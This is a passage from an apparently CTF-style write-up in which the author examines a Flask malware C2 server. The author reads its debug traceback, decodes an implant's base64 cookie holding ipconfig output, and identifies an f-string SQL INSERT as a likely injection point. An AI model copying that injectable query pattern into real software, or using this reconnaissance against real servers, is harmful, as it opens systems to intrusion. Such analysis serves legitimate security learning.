  <div class="source library"><pre class="line before"><span class="ws">        </span>self.try_trigger_before_first_request_functions()</pre>
<pre class="line before"><span class="ws">        </span>try:</pre>
<pre class="line before"><span class="ws">            </span>request_started.send(self)</pre>
<pre class="line before"><span class="ws">            </span>rv = self.preprocess_request()</pre>
<pre class="line before"><span class="ws">            </span>if rv is None:</pre>
<pre class="line current"><span class="ws">                </span>rv = self.dispatch_request()</pre>
<pre class="line after"><span class="ws">        </span>except Exception as e:</pre>
<pre class="line after"><span class="ws">            </span>rv = self.handle_user_exception(e)</pre>
<pre class="line after"><span class="ws">        </span>return self.finalize_request(rv)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>def finalize_request(</pre></div>
</div>

<li><div class="frame" id="frame-139855013023184">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">1509</em>,
      in <code class="function">dispatch_request</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">            </span>getattr(rule, &quot;provide_automatic_options&quot;, False)</pre>
<pre class="line before"><span class="ws">            </span>and req.method == &quot;OPTIONS&quot;</pre>
<pre class="line before"><span class="ws">        </span>):</pre>
<pre class="line before"><span class="ws">            </span>return self.make_default_options_response()</pre>
<pre class="line before"><span class="ws">        </span># otherwise dispatch to the handler for that endpoint</pre>
<pre class="line current"><span class="ws">        </span>return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>def full_dispatch_request(self) -&gt; Response:</pre>
<pre class="line after"><span class="ws">        </span>&quot;&quot;&quot;Dispatches the request and on top of that performs request</pre>
<pre class="line after"><span class="ws">        </span>pre and postprocessing as well as HTTP exception catching and</pre>
<pre class="line after"><span class="ws">        </span>error handling.</pre></div>
</div>

<li><div class="frame" id="frame-139855013023296">
  <h4>File <cite class="filename">"/app/application/util.py"</cite>,
      line <em class="line">11</em>,
      in <code class="function">wrap</code></h4>
  <div class="source "><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"></span>def is_bot(f):</pre>
<pre class="line before"><span class="ws">    </span>@functools.wraps(f)</pre>
<pre class="line before"><span class="ws">    </span>def wrap(*args, **kwargs):</pre>
<pre class="line before"><span class="ws">        </span>if current_app.config[&#x27;BOT_CONFIG&#x27;][&#x27;user_agent&#x27;] == request.headers.get(&#x27;User-Agent&#x27;):</pre>
<pre class="line current"><span class="ws">            </span>return f(*args, **kwargs)</pre>
<pre class="line after"><span class="ws">        </span>else:</pre>
<pre class="line after"><span class="ws">            </span>return send_from_directory(&#x27;./static/js&#x27;, os.path.basename(current_app.config[&#x27;BOT_CONFIG&#x27;][&#x27;get_uri&#x27;]))</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>return wrap</pre>
<pre class="line after"><span class="ws"></span> </pre></div>
</div>

<li><div class="frame" id="frame-139855013023408">
  <h4>File <cite class="filename">"/app/application/blueprints/routes.py"</cite>,
      line <em class="line">56</em>,
      in <code class="function">botRecv</code></h4>
  <div class="source "><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">    </span>bot = Bot(botUUID)</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">    </span>if botDATA:</pre>
<pre class="line before"><span class="ws">        </span>taskDATA = json.loads(rec_b64(unquote_plus(botDATA)))</pre>
<pre class="line current"><span class="ws">        </span>bot.saveTaskResp(**taskDATA)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>return fake_script(f&#x27;task=&quot;&quot;;&#x27;)</pre></div>
</div>

<li><div class="frame" id="frame-139855013023520">
  <h4>File <cite class="filename">"/app/application/models/bot.py"</cite>,
      line <em class="line">130</em>,
      in <code class="function">saveTaskResp</code></h4>
  <div class="source "><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">        </span>return taskList</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">    </span>def saveTaskResp(self, id, output):</pre>
<pre class="line before"><span class="ws">        </span>with Database() as db:</pre>
<pre class="line current"><span class="ws">            </span>db.execute(f&quot;&quot;&quot;INSERT INTO task_outputs(task_id, output) VALUES (&#x27;{id}&#x27;, &#x27;{output}&#x27;)&quot;&quot;&quot;)</pre>
<pre class="line after"><span class="ws">            </span>db.execute(f&quot;&quot;&quot;UPDATE tasks SET received = CURRENT_TIMESTAMP WHERE id={id};&quot;&quot;&quot;)</pre></div>
</div>

<li><div class="frame" id="frame-139855013023632">
  <h4>File <cite class="filename">"/app/application/database.py"</cite>,
      line <em class="line">54</em>,
      in <code class="function">execute</code></h4>
  <div class="source "><pre class="line before"><span class="ws">            </span>self.connect()</pre>
<pre class="line before"><span class="ws">            </span>self.connection.commit()</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">    </span>def execute(self, sql, params=None):</pre>
<pre class="line before"><span class="ws">        </span>try:</pre>
<pre class="line current"><span class="ws">            </span>self.cursor.execute(sql, params or ())</pre>
<pre class="line after"><span class="ws">        </span>except (AttributeError, psycopg2.OperationalError):</pre>
<pre class="line after"><span class="ws">            </span>self.connect()</pre>
<pre class="line after"><span class="ws">            </span>self.cursor.execute(sql, params or ())</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>def fetchall(self):</pre></div>
</div>

<li><div class="frame" id="frame-139855013081152">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/psycopg2/extras.py"</cite>,
      line <em class="line">312</em>,
      in <code class="function">execute</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">    </span>Record = None</pre>
<pre class="line before"><span class="ws">    </span>MAX_CACHE = 1024</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">    </span>def execute(self, query, vars=None):</pre>
<pre class="line before"><span class="ws">        </span>self.Record = None</pre>
<pre class="line current"><span class="ws">        </span>return super().execute(query, vars)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>def executemany(self, query, vars):</pre>
<pre class="line after"><span class="ws">        </span>self.Record = None</pre>
<pre class="line after"><span class="ws">        </span>return super().executemany(query, vars)</pre>
<pre class="line after"><span class="ws"></span> </pre></div>
</div>
</ul>
  <blockquote>psycopg2.errors.UniqueViolation: duplicate key value violates unique constraint &quot;task_outputs_task_id_key&quot;
DETAIL:  Key (task_id)=(20) already exists.

</blockquote>
</div>

<div class="plain">
    <p>
      This is the Copy/Paste friendly version of the traceback.
    </p>
    <textarea cols="50" rows="10" name="code" readonly>Traceback (most recent call last):
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 2095, in __call__
    return self.wsgi_app(environ, start_response)
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 2080, in wsgi_app
    response = self.handle_exception(e)
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File &quot;/app/application/util.py&quot;, line 11, in wrap
    return f(*args, **kwargs)
  File &quot;/app/application/blueprints/routes.py&quot;, line 56, in botRecv
    bot.saveTaskResp(**taskDATA)
  File &quot;/app/application/models/bot.py&quot;, line 130, in saveTaskResp
    db.execute(f&quot;&quot;&quot;INSERT INTO task_outputs(task_id, output) VALUES (&#x27;{id}&#x27;, &#x27;{output}&#x27;)&quot;&quot;&quot;)
  File &quot;/app/application/database.py&quot;, line 54, in execute
    self.cursor.execute(sql, params or ())
  File &quot;/usr/local/lib/python3.8/site-packages/psycopg2/extras.py&quot;, line 312, in execute
    return super().execute(query, vars)
psycopg2.errors.UniqueViolation: duplicate key value violates unique constraint &quot;task_outputs_task_id_key&quot;
DETAIL:  Key (task_id)=(20) already exists.

</textarea>
</div>
<div class="explanation">
  The debugger caught an exception in your WSGI application.  You can now
  look at the traceback which led to the error.  <span class="nojavascript">
  If you enable JavaScript you can also use additional features such as code
  execution (if the evalex feature is enabled), automatic pasting of the
  exceptions and much more.</span>
</div>
      <div class="footer">
        Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
        friendly Werkzeug powered traceback interpreter.
      </div>
    </div>

    <div class="pin-prompt">
      <div class="inner">
        <h3>Console Locked</h3>
        <p>
          The console is locked and needs to be unlocked by entering the PIN.
          You can find the PIN printed out on the standard output of your
          shell that runs the server.
        <form>
          <p>PIN:
            <input type=text name=pin size=14>
            <input type=submit name=btn value="Confirm Pin">
        </form>
      </div>
    </div>
  </body>
</html>

<!--

Traceback (most recent call last):
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2095, in __call__
    return self.wsgi_app(environ, start_response)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2080, in wsgi_app
    response = self.handle_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File "/app/application/util.py", line 11, in wrap
    return f(*args, **kwargs)
  File "/app/application/blueprints/routes.py", line 56, in botRecv
    bot.saveTaskResp(**taskDATA)
  File "/app/application/models/bot.py", line 130, in saveTaskResp
    db.execute(f"""INSERT INTO task_outputs(task_id, output) VALUES ('{id}', '{output}')""")
  File "/app/application/database.py", line 54, in execute
    self.cursor.execute(sql, params or ())
  File "/usr/local/lib/python3.8/site-packages/psycopg2/extras.py", line 312, in execute
    return super().execute(query, vars)
psycopg2.errors.UniqueViolation: duplicate key value violates unique constraint "task_outputs_task_id_key"
DETAIL:  Key (task_id)=(20) already exists.



-->

That’s cool we got ourselves a cookie there which we can dig into in just a moment. But first of all we got another error from Flask this time.

Traceback (most recent call last):
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2095, in __call__
    return self.wsgi_app(environ, start_response)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2080, in wsgi_app
    response = self.handle_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File "/app/application/util.py", line 11, in wrap
    return f(*args, **kwargs)
  File "/app/application/blueprints/routes.py", line 56, in botRecv
    bot.saveTaskResp(**taskDATA)
  File "/app/application/models/bot.py", line 130, in saveTaskResp
    db.execute(f"""INSERT INTO task_outputs(task_id, output) VALUES ('{id}', '{output}')""")
  File "/app/application/database.py", line 54, in execute
    self.cursor.execute(sql, params or ())
  File "/usr/local/lib/python3.8/site-packages/psycopg2/extras.py", line 312, in execute
    return super().execute(query, vars)
psycopg2.errors.UniqueViolation: duplicate key value violates unique constraint "task_outputs_task_id_key"
DETAIL:  Key (task_id)=(20) already exists.

We can see some SQL in there INSERT INTO task_outputs(task_id, output) VALUES ('{id}', '{output}. There’s also an interesting SQL error message psycopg2.errors.UniqueViolation: duplicate key value violates unique constraint. The package used is psycopg2 which is a PostgreSQL adapter for python.

So the victim is able to send a HTTP request to the C2 server which makes it throw a SQL error. It’s not a syntax error but a unique key violation but this smells like sql injection. If we take a look att the HTTP request itself we can see that there is not much else but the cookie. So let’s analyse that.

Cookie: __cflb=49f062b5-8b94-4fff-bb41-d504b148aa1b; __cfuid=eyJpZCI6IDIwLCAib3V0cHV0IjogIkNsZHBibVJ2ZDNNZ1NWQWdRMjl1Wm1sbmRYSmhkR2x2YmdvS0lDQWdTRzl6ZENCT1lXMWxJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnTGlBdUlEb2dSRVZUUzFSUFVDMVJWak5PVVV4TkNpQWdJRkJ5YVcxaGNua2dSRzV6SUZOMVptWnBlQ0FnTGlBdUlDNGdMaUF1SUM0Z0xpQTZJQW9nSUNCT2IyUmxJRlI1Y0dVZ0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnT2lCSWVXSnlhV1FLSUNBZ1NWQWdVbTkxZEdsdVp5QkZibUZpYkdWa0xpQXVJQzRnTGlBdUlDNGdMaUF1SURvZ1RtOEtJQ0FnVjBsT1V5QlFjbTk0ZVNCRmJtRmliR1ZrTGlBdUlDNGdMaUF1SUM0Z0xpQXVJRG9nVG04S0lDQWdSRTVUSUZOMVptWnBlQ0JUWldGeVkyZ2dUR2x6ZEM0Z0xpQXVJQzRnTGlBdUlEb2diRzlqWVd4a2IyMWhhVzRLQ2tWMGFHVnlibVYwSUdGa1lYQjBaWElnUlhSb1pYSnVaWFF3T2dvS0lDQWdRMjl1Ym1WamRHbHZiaTF6Y0dWamFXWnBZeUJFVGxNZ1UzVm1abWw0SUNBdUlEb2diRzlqWVd4a2IyMWhhVzRLSUNBZ1JHVnpZM0pwY0hScGIyNGdMaUF1SUM0Z0xpQXVJQzRnTGlBdUlDNGdMaUF1SURvZ1NXNTBaV3dvVWlrZ09ESTFOelJNSUVkcFoyRmlhWFFnVG1WMGQyOXlheUJEYjI1dVpXTjBhVzl1Q2lBZ0lGQm9lWE5wWTJGc0lFRmtaSEpsYzNNdUlDNGdMaUF1SUM0Z0xpQXVJQzRnTGlBNklEQXdMVEJETFRJNUxUVTBMVVF4TFRVekNpQWdJRVJJUTFBZ1JXNWhZbXhsWkM0Z0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQTZJRmxsY3dvZ0lDQkJkWFJ2WTI5dVptbG5kWEpoZEdsdmJpQkZibUZpYkdWa0lDNGdMaUF1SUM0Z09pQlpaWE1LSUNBZ1RHbHVheTFzYjJOaGJDQkpVSFkySUVGa1pISmxjM01nTGlBdUlDNGdMaUF1SURvZ1ptVTRNRG82TmpBMk56b3hNVFV5T21KaE5tTTZNalpqTnlVMktGQnlaV1psY25KbFpDa2dDaUFnSUVsUWRqUWdRV1JrY21WemN5NGdMaUF1SUM0Z0xpQXVJQzRnTGlBdUlDNGdMaUE2SURFNU1pNHhOamd1TVRNM0xqRXpNU2hRY21WbVpYSnlaV1FwSUFvZ0lDQlRkV0p1WlhRZ1RXRnpheUF1SUM0Z0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z09pQXlOVFV1TWpVMUxqSTFOUzR3Q2lBZ0lFeGxZWE5sSUU5aWRHRnBibVZrTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnTGlBNklESTBJRXAxYm1VZ01qQXlNaUF4TnpvME9Eb3hNd29nSUNCTVpXRnpaU0JGZUhCcGNtVnpJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnT2lBeU5DQktkVzVsSURJd01qSWdNakk2TXpNNk1UUUtJQ0FnUkdWbVlYVnNkQ0JIWVhSbGQyRjVJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJRG9nQ2lBZ0lFUklRMUFnVTJWeWRtVnlJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnTGlBNklERTVNaTR4TmpndU1UTTNMakkxTkFvZ0lDQkVTRU5RZGpZZ1NVRkpSQ0F1SUM0Z0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z09pQXhNREEyTmpZME1Ea0tJQ0FnUkVoRFVIWTJJRU5zYVdWdWRDQkVWVWxFTGlBdUlDNGdMaUF1SUM0Z0xpQXVJRG9nTURBdE1ERXRNREF0TURFdE1qa3RNemd0TTBFdE5UZ3RNREF0TUVNdE1qa3ROVFF0UkRFdE5UTUtJQ0FnUkU1VElGTmxjblpsY25NZ0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJRG9nTVRreUxqRTJPQzR4TXpjdU1Rb2dJQ0JPWlhSQ1NVOVRJRzkyWlhJZ1ZHTndhWEF1SUM0Z0xpQXVJQzRnTGlBdUlDNGdPaUJGYm1GaWJHVmsifQ==

There’s two parts in the cookie. The __cflb and the __cfuid. The __cflb pretty much looks like a guid. And the __cflb is base64 encoded so let’s decode it.

┌──(root㉿0760542dd268)-[/]
└─# echo kR2x2YmdvS0lDQWdTRzl6ZENCT1lXMWxJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnTGlBdUlEb2dSRVZUUzFSUFVDMVJWak5PVVV4TkNpQWdJRkJ5YVcxaGNua2dSRzV6SUZOMVptWnBlQ0FnTGlBdUlDNGdMaUF1SUM0Z0xpQTZJQW9nSUNCT2IyUmxJRlI1Y0dVZ0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnT2lCSWVXSnlhV1FLSUNBZ1NWQWdVbTkxZEdsdVp5QkZibUZpYkdWa0xpQXVJQzRnTGlBdUlDNGdMaUF1SURvZ1RtOEtJQ0FnVjBsT1V5QlFjbTk0ZVNCRmJtRmliR1ZrTGlBdUlDNGdMaUF1SUM0Z0xpQXVJRG9nVG04S0lDQWdSRTVUSUZOMVptWnBlQ0JUWldGeVkyZ2dUR2x6ZEM0Z0xpQXVJQzRnTGlBdUlEb2diRzlqWVd4a2IyMWhhVzRLQ2tWMGFHVnlibVYwSUdGa1lYQjBaWElnUlhSb1pYSnVaWFF3T2dvS0lDQWdRMjl1Ym1WamRHbHZiaTF6Y0dWamFXWnBZeUJFVGxNZ1UzVm1abWw0SUNBdUlEb2diRzlqWVd4a2IyMWhhVzRLSUNBZ1JHVnpZM0pwY0hScGIyNGdMaUF1SUM0Z0xpQXVJQzRnTGlBdUlDNGdMaUF1SURvZ1NXNTBaV3dvVWlrZ09ESTFOelJNSUVkcFoyRmlhWFFnVG1WMGQyOXlheUJEYjI1dVpXTjBhVzl1Q2lBZ0lGQm9lWE5wWTJGc0lFRmtaSEpsYzNNdUlDNGdMaUF1SUM0Z0xpQXVJQzRnTGlBNklEQXdMVEJETFRJNUxUVTBMVVF4TFRVekNpQWdJRVJJUTFBZ1JXNWhZbXhsWkM0Z0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQTZJRmxsY3dvZ0lDQkJkWFJ2WTI5dVptbG5kWEpoZEdsdmJpQkZibUZpYkdWa0lDNGdMaUF1SUM0Z09pQlpaWE1LSUNBZ1RHbHVheTFzYjJOaGJDQkpVSFkySUVGa1pISmxjM01nTGlBdUlDNGdMaUF1SURvZ1ptVTRNRG82TmpBMk56b3hNVFV5T21KaE5tTTZNalpqTnlVMktGQnlaV1psY25KbFpDa2dDaUFnSUVsUWRqUWdRV1JrY21WemN5NGdMaUF1SUM0Z0xpQXVJQzRnTGlBdUlDNGdMaUE2SURFNU1pNHhOamd1TVRNM0xqRXpNU2hRY21WbVpYSnlaV1FwSUFvZ0lDQlRkV0p1WlhRZ1RXRnpheUF1SUM0Z0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z09pQXlOVFV1TWpVMUxqSTFOUzR3Q2lBZ0lFeGxZWE5sSUU5aWRHRnBibVZrTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnTGlBNklESTBJRXAxYm1VZ01qQXlNaUF4TnpvME9Eb3hNd29nSUNCTVpXRnpaU0JGZUhCcGNtVnpJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnT2lBeU5DQktkVzVsSURJd01qSWdNakk2TXpNNk1UUUtJQ0FnUkdWbVlYVnNkQ0JIWVhSbGQyRjVJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJRG9nQ2lBZ0lFUklRMUFnVTJWeWRtVnlJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJQzRnTGlBNklERTVNaTR4TmpndU1UTTNMakkxTkFvZ0lDQkVTRU5RZGpZZ1NVRkpSQ0F1SUM0Z0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z09pQXhNREEyTmpZME1Ea0tJQ0FnUkVoRFVIWTJJRU5zYVdWdWRDQkVWVWxFTGlBdUlDNGdMaUF1SUM0Z0xpQXVJRG9nTURBdE1ERXRNREF0TURFdE1qa3RNemd0TTBFdE5UZ3RNREF0TUVNdE1qa3ROVFF0UkRFdE5UTUtJQ0FnUkU1VElGTmxjblpsY25NZ0xpQXVJQzRnTGlBdUlDNGdMaUF1SUM0Z0xpQXVJRG9nTVRreUxqRTJPQzR4TXpjdU1Rb2dJQ0JPWlhSQ1NVOVRJRzkyWlhJZ1ZHTndhWEF1SUM0Z0xpQXVJQzRnTGlBdUlDNGdPaUJGYm1GaWJHVmsifQ== | base64 -d
{"id": 20, "output": "CldpbmRvd3MgSVAgQ29uZmlndXJhdGlvbgoKICAgSG9zdCBOYW1lIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIDogREVTS1RPUC1RVjNOUUxNCiAgIFByaW1hcnkgRG5zIFN1ZmZpeCAgLiAuIC4gLiAuIC4gLiA6IAogICBOb2RlIFR5cGUgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gOiBIeWJyaWQKICAgSVAgUm91dGluZyBFbmFibGVkLiAuIC4gLiAuIC4gLiAuIDogTm8KICAgV0lOUyBQcm94eSBFbmFibGVkLiAuIC4gLiAuIC4gLiAuIDogTm8KICAgRE5TIFN1ZmZpeCBTZWFyY2ggTGlzdC4gLiAuIC4gLiAuIDogbG9jYWxkb21haW4KCkV0aGVybmV0IGFkYXB0ZXIgRXRoZXJuZXQwOgoKICAgQ29ubmVjdGlvbi1zcGVjaWZpYyBETlMgU3VmZml4ICAuIDogbG9jYWxkb21haW4KICAgRGVzY3JpcHRpb24gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIDogSW50ZWwoUikgODI1NzRMIEdpZ2FiaXQgTmV0d29yayBDb25uZWN0aW9uCiAgIFBoeXNpY2FsIEFkZHJlc3MuIC4gLiAuIC4gLiAuIC4gLiA6IDAwLTBDLTI5LTU0LUQxLTUzCiAgIERIQ1AgRW5hYmxlZC4gLiAuIC4gLiAuIC4gLiAuIC4gLiA6IFllcwogICBBdXRvY29uZmlndXJhdGlvbiBFbmFibGVkIC4gLiAuIC4gOiBZZXMKICAgTGluay1sb2NhbCBJUHY2IEFkZHJlc3MgLiAuIC4gLiAuIDogZmU4MDo6NjA2NzoxMTUyOmJhNmM6MjZjNyU2KFByZWZlcnJlZCkgCiAgIElQdjQgQWRkcmVzcy4gLiAuIC4gLiAuIC4gLiAuIC4gLiA6IDE5Mi4xNjguMTM3LjEzMShQcmVmZXJyZWQpIAogICBTdWJuZXQgTWFzayAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gOiAyNTUuMjU1LjI1NS4wCiAgIExlYXNlIE9idGFpbmVkLiAuIC4gLiAuIC4gLiAuIC4gLiA6IDI0IEp1bmUgMjAyMiAxNzo0ODoxMwogICBMZWFzZSBFeHBpcmVzIC4gLiAuIC4gLiAuIC4gLiAuIC4gOiAyNCBKdW5lIDIwMjIgMjI6MzM6MTQKICAgRGVmYXVsdCBHYXRld2F5IC4gLiAuIC4gLiAuIC4gLiAuIDogCiAgIERIQ1AgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiA6IDE5Mi4xNjguMTM3LjI1NAogICBESENQdjYgSUFJRCAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gOiAxMDA2NjY0MDkKICAgREhDUHY2IENsaWVudCBEVUlELiAuIC4gLiAuIC4gLiAuIDogMDAtMDEtMDAtMDEtMjktMzgtM0EtNTgtMDAtMEMtMjktNTQtRDEtNTMKICAgRE5TIFNlcnZlcnMgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIDogMTkyLjE2OC4xMzcuMQogICBOZXRCSU9TIG92ZXIgVGNwaXAuIC4gLiAuIC4gLiAuIC4gOiBFbmFibGVk"}

So we get some JSON out of it and there’s two fields, id and output. Since id is set to 20 I remember this DETAIL: Key (task_id)=(20) already exists.. It seems like the field we can control to get a SQL error. So if we take a look again at the SQL INSERT INTO task_outputs(task_id, output) VALUES ('{id}', '{output} well my guess is that we can control that id whichs obviously is a key in the table task_outputs. So that’s a probable sql injection point right there. But before jumping to any conclusions let’s decode the output field.

┌──(root㉿0760542dd268)-[/]
└─# echo 
uIC4gLiAuIC4gLiAuIDogREVTS1RPUC1RVjNOUUxNCiAgIFByaW1hcnkgRG5zIFN1ZmZpeCAgLiAuIC4gLiAuIC4gLiA6IAogICBOb2RlIFR5cGUgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gOiBIeWJyaWQKICAgSVAgUm91dGluZyBFbmFibGVkLiAuIC4gLiAuIC4gLiAuIDogTm8KICAgV0lOUyBQcm94eSBFbmFibGVkLiAuIC4gLiAuIC4gLiAuIDogTm8KICAgRE5TIFN1ZmZpeCBTZWFyY2ggTGlzdC4gLiAuIC4gLiAuIDogbG9jYWxkb21haW4KCkV0aGVybmV0IGFkYXB0ZXIgRXRoZXJuZXQwOgoKICAgQ29ubmVjdGlvbi1zcGVjaWZpYyBETlMgU3VmZml4ICAuIDogbG9jYWxkb21haW4KICAgRGVzY3JpcHRpb24gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIDogSW50ZWwoUikgODI1NzRMIEdpZ2FiaXQgTmV0d29yayBDb25uZWN0aW9uCiAgIFBoeXNpY2FsIEFkZHJlc3MuIC4gLiAuIC4gLiAuIC4gLiA6IDAwLTBDLTI5LTU0LUQxLTUzCiAgIERIQ1AgRW5hYmxlZC4gLiAuIC4gLiAuIC4gLiAuIC4gLiA6IFllcwogICBBdXRvY29uZmlndXJhdGlvbiBFbmFibGVkIC4gLiAuIC4gOiBZZXMKICAgTGluay1sb2NhbCBJUHY2IEFkZHJlc3MgLiAuIC4gLiAuIDogZmU4MDo6NjA2NzoxMTUyOmJhNmM6MjZjNyU2KFByZWZlcnJlZCkgCiAgIElQdjQgQWRkcmVzcy4gLiAuIC4gLiAuIC4gLiAuIC4gLiA6IDE5Mi4xNjguMTM3LjEzMShQcmVmZXJyZWQpIAogICBTdWJuZXQgTWFzayAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gOiAyNTUuMjU1LjI1NS4wCiAgIExlYXNlIE9idGFpbmVkLiAuIC4gLiAuIC4gLiAuIC4gLiA6IDI0IEp1bmUgMjAyMiAxNzo0ODoxMwogICBMZWFzZSBFeHBpcmVzIC4gLiAuIC4gLiAuIC4gLiAuIC4gOiAyNCBKdW5lIDIwMjIgMjI6MzM6MTQKICAgRGVmYXVsdCBHYXRld2F5IC4gLiAuIC4gLiAuIC4gLiAuIDogCiAgIERIQ1AgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiA6IDE5Mi4xNjguMTM3LjI1NAogICBESENQdjYgSUFJRCAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gOiAxMDA2NjY0MDkKICAgREhDUHY2IENsaWVudCBEVUlELiAuIC4gLiAuIC4gLiAuIDogMDAtMDEtMDAtMDEtMjktMzgtM0EtNTgtMDAtMEMtMjktNTQtRDEtNTMKICAgRE5TIFNlcnZlcnMgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIDogMTkyLjE2OC4xMzcuMQogICBOZXRCSU9TIG92ZXIgVGNwaXAuIC4gLiAuIC4gLiAuIC4gOiBFbmFibGVk | base64 -d

Windows IP Configuration

   Host Name . . . . . . . . . . . . : DESKTOP-QV3NQLM
   Primary Dns Suffix  . . . . . . . : 
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : localdomain

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : localdomain
   Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
   Physical Address. . . . . . . . . : 00-0C-29-54-D1-53
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::6067:1152:ba6c:26c7%6(Preferred) 
   IPv4 Address. . . . . . . . . . . : 192.168.137.131(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Lease Obtained. . . . . . . . . . : 24 June 2022 17:48:13
   Lease Expires . . . . . . . . . . : 24 June 2022 22:33:14
   Default Gateway . . . . . . . . . : 
   DHCP Server . . . . . . . . . . . : 192.168.137.254
   DHCPv6 IAID . . . . . . . . . . . : 100666409
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-29-38-3A-58-00-0C-29-54-D1-53
   DNS Servers . . . . . . . . . . . : 192.168.137.1
   NetBIOS over Tcpip. . . . . . . . : Enabled

So output is the result of a typical windows command. Let’s think about this. The C2 server is probably sending commands to the infected victim. The victim executes the commands and send the result back. The result can obviously make the C2 server crash in different ways. I think we can hack it back!!! But before we start working on that let’s checkout the C2.profile.

Analysing the C2 profile

Looking at the C2 profile it turns out to be a rather simple json file.

{
    'sleeptime': 3000,
